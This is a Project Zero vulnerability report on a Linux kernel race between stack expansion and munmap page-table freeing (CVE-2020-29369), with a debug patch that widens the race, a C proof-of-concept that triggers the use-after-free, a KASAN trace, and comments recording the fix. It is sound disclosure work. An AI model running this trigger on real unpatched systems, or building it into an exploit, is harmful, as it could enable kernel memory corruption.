Starred by 4 users

Owner: jannh@google.com

CC: proje...@google.com

Status: Fixed *(Closed)*

Components: ----

Modified: Dec 1, 2020

Deadline-90
Vendor-Linux
CCProjectZeroMembers
Severity-High
Finder-jannh
Product-Linux
Methodology-source-review
Reported-2020-Jun-30
Fixed-2020-Jul-29
CVE-2020-29369

Participant's Hotlists: linux-usermm-or-drivermm

Issue 2056: Linux >=4.20: expand_downwards() can race with munmap() page table freeing

Reported by jannh@google.com on Mon, Jun 29, 2020, 10:14 PM EDT Project Member

Code

Since 4.20, __do_munmap() downgrades the mmap_sem from write-locked to read-locked after detaching the VMAs from the mm_struct, but before dropping references to pages and freeing page tables. This ought to be safe because VMA tree modifications are protected by the mmap_sem, and therefore nobody else can racily create a VMA covering the area that __do_munmap() is operating on, and therefore pretty much nothing except for get_user_pages_fast() will poke around in the associated page table range.

Unfortunately, the rule of "you can't mess with the VMA tree unless you have mmap_sem locked for writing" has for a long time been violated by the stack expansion logic (e.g. expand_downwards()). Therefore, if you create two consecutive mappings A and B, where B is MAP_GROWSDOWN, this can happen:

- thread A: calls munmap(A, <size of mapping A>) and proceeds until entry to free_pgd_range()
- thread B: takes page fault at address of mapping A, walks down the page table hierarchy, reaches handle_pte_fault()
- thread A: frees the page table that thread B is currently looking at
- thread B: use after free occurs

If it is not possible to write-lock the mmap_sem in expand_stack(), I guess the nicest way to fix this would be to refactor things such that instead of dynamically growing on fault, MAP_GROWSDOWN VMAs are dynamically shrunk when new VMAs are allocated that don't have enough space, with some sort of check to ensure that stack VMA shrinking can only affect addresses that have never been present? That way, all the stack VMA manipulation stuff would automatically happen with the mmap_sem held for writing...

Or the dirty hack would be to teach munmap() to not downgrade the mmap_sem if the next VMA is MAP_GROWSDOWN. But the GROWSDOWN stuff has always led to some data races, so it would be nicer to get rid of that completely...

To test whether this race can occur theoretically, I applied this patch for race window widening:

```
===============================================================================
diff --git a/mm/memory.c b/mm/memory.c
index dc7f3543b1fd0..a26d5a5f611e5 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -71,6 +71,7 @@
 #include <linux/dax.h>
```

```
 #include <linux/oom.h>
 #include <linux/numa.h>
+#include <linux/delay.h>

 #include <trace/events/kmem.h>

@@ -329,6 +330,13 @@ void free_pgd_range(struct mmu_gather *tlb,
        pgd_t *pgd;
        unsigned long next;

+       if (strcmp(current->comm, "race_munmap") == 0) {
+               pr_warn("delaying free_pgd_range(addr=0x%lx, end=0x%lx, floor=0x%lx, ceiling=0x%lx)...\n",
+                       addr, end, floor, ceiling);
+               mdelay(2000);
+               pr_warn("delayed free_pgd_range continues\n");
+       }
+
        /*
         * The next few lines have given us lots of grief...
         *
@@ -4343,6 +4351,13 @@ static vm_fault_t __handle_mm_fault(struct vm_area_struct *vma,
                }
        }

+       if (strcmp(current->comm, "race_fault") == 0) {
+               pr_warn("delaying __handle_mm_fault(address=0x%lx)...\n",
+                       address);
+               mdelay(5000);
+               pr_warn("delayed __handle_mm_fault continues\n");
+       }
+
        return handle_pte_fault(&vmf);
 }
===============================================================================
```

Then I configured the kernel with all the debugging knobs turned on (KASAN, page debugging, PREEMPT=y, ...) and ran this testcase:

```
===============================================================================
#include <pthread.h>
#include <unistd.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/prctl.h>

/*
 * points to a virtual address that is at the start of the
 * VA range covered by an L4 page table
 */
#define STACK_STRADDLE_ADDR ((char*)0x4000000000UL)

/* VA range covered by an L2 page table */
#define L2_TABLE_RANGE 0x200000UL

/* start of a VMA that covers one L2 range before STACK_STRADDLE_ADDR */
#define UNMAP_ADDR (STACK_STRADDLE_ADDR - L2_TABLE_RANGE)

/* faulting here will expand stack from STACK_STRADDLE_ADDR */
#define EXPAND_FAULT_ADDR (STACK_STRADDLE_ADDR - 0x1000)

void *threadfn(void *arg) {
  prctl(PR_SET_NAME, "race_munmap");
  int res = munmap(UNMAP_ADDR, L2_TABLE_RANGE); /* race occurs here */
  prctl(PR_SET_NAME, "race_munmap_");

  if (res)
    err(1, "munmap");
  return NULL;
}

int main(void) {
  char *a = mmap(STACK_STRADDLE_ADDR, 0x1000, PROT_READ|PROT_WRITE,
                 MAP_ANONYMOUS|MAP_PRIVATE|MAP_GROWSDOWN|MAP_FIXED_NOREPLACE,
                 -1, 0);
  if (a != STACK_STRADDLE_ADDR)
    err(1, "mmap");
  char *b = mmap(UNMAP_ADDR, L2_TABLE_RANGE, PROT_READ|PROT_WRITE,
                 MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED_NOREPLACE, -1, 0);
  if (b != UNMAP_ADDR)
    err(1, "mmap");
  if (madvise(UNMAP_ADDR, L2_TABLE_RANGE, MADV_NOHUGEPAGE))
   err(1, "MADV_NOHUGEPAGE");
  *(volatile char *)UNMAP_ADDR = 1; /* force page table allocation */

  pthread_t thread;
  if (pthread_create(&thread, NULL, threadfn, NULL))
    errx(1, "pthread_create");

  sleep(1); /* wait for VMA removal */
  prctl(PR_SET_NAME, "race_fault");
  *(volatile char *)EXPAND_FAULT_ADDR = 1; /* race occurs here */
  prctl(PR_SET_NAME, "race_fault_");

  pthread_join(thread, NULL);
}
===============================================================================
```

resulting in this KASAN UAF report:

```
===============================================================================
delaying free_pgd_range(addr=0x3fffe00000, end=0x4000000000, floor=0x0, ceiling=0x4000000000)...
delaying __handle_mm_fault(address=0x3ffffff000)...
delayed free_pgd_range continues
```

delayed __handle_mm_fault continues
==
BUG: KASAN: use-after-free in handle_mm_fault (mm/memory.c:4182 mm/memory.c:4361 mm/memory.c:4398 mm/memory.c:4370)
Read of size 8 at addr ffff888050b23ff8 by task race_fault/2130

CPU: 0 PID: 2130 Comm: race_fault Not tainted 5.8.0-rc2+ #701
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1 04/01/2014
Call Trace:
dump_stack (lib/dump_stack.c:120)
print_address_description.constprop.0.cold (mm/kasan/report.c:384)
kasan_report.cold (mm/kasan/report.c:514 mm/kasan/report.c:530)
handle_mm_fault (mm/memory.c:4182 mm/memory.c:4361 mm/memory.c:4398 mm/memory.c:4370)
exc_page_fault (arch/x86/mm/fault.c:1296 arch/x86/mm/fault.c:1365 arch/x86/mm/fault.c:1418)
asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:565)
RIP: 0033:0x562e5cad0378
==

I haven't yet figured out whether there is any way to cause a UAF reliably with this; and when this issue materializes as anything other than a UAF, I'm not aware of any easy way to exploit it (MAP_GROWSDOWN is limited to MAP_PRIVATE&&MAP_ANONYMOUS, so e.g. a write fault taken through the MAP_GROWSDOWN VMA would always be going through the CoW path, and can't be used to just flip PTEs to writable).
Getting this to manifest as a UAF is made more annoying than it'd usually be on PARAVIRT kernels because those delay page table freeing using RCU; so while handle_pte_fault() is in the race window, an entire RCU grace period would have to pass.

But I wouldn't be surprised if it was possible to trigger this as a UAF with some effort.
handle_pte_fault() can block on page table allocation under memory pressure, or on disk I/O in do_swap_page() (when called through a GUP path that does not permit dropping the mmap_sem).
free_pgd_range() may have to iterate through a lot of memory.
So both of the places where I placed mdelay() calls can probably be slowed down to at least some degree in practice.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-09-28. Disclosure at an earlier date is possible if the bug has been fixed in Linux stable releases (per agreement with security@kernel.org folks).

Comment 1 by jannh@google.com on Thu, Jul 9, 2020, 8:55 PM EDT Project Member

For now, this is being worked around in a way that does not address the data race: https://lore.kernel.org/linux-mm/20200709105309.42495-1-kirill.shutemov@linux.intel.com/

That patch has been accepted into the mm tree.

Comment 2 by jannh@google.com on Mon, Jul 27, 2020, 8:26 AM EDT Project Member

Status: Fixed (was: New)

Fix is in mainline: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=246c320a8cfe0b11d81a4af38fa9985ef0cc9a4c

Comment 3 by jannh@google.com on Fri, Sep 11, 2020, 10:57 PM EDT Project Member

Labels: -Restrict-View-Commit

Fix landed in v5.4.54, v5.7.11 and 5.8 quite a while back.

Comment 4 by marcu...@googlemail.com on Sun, Sep 13, 2020, 1:44 PM EDT

does google plan to request a CVE? this issue would be in scope of the google CNA.

Comment 5 by jannh@google.com on Mon, Nov 16, 2020, 3:10 PM EST Project Member

Labels: Fixed-2020-Jul-29

Comment 6 by jannh@google.com on Tue, Dec 1, 2020, 9:54 AM EST Project Member

Labels: CVE-2020-29369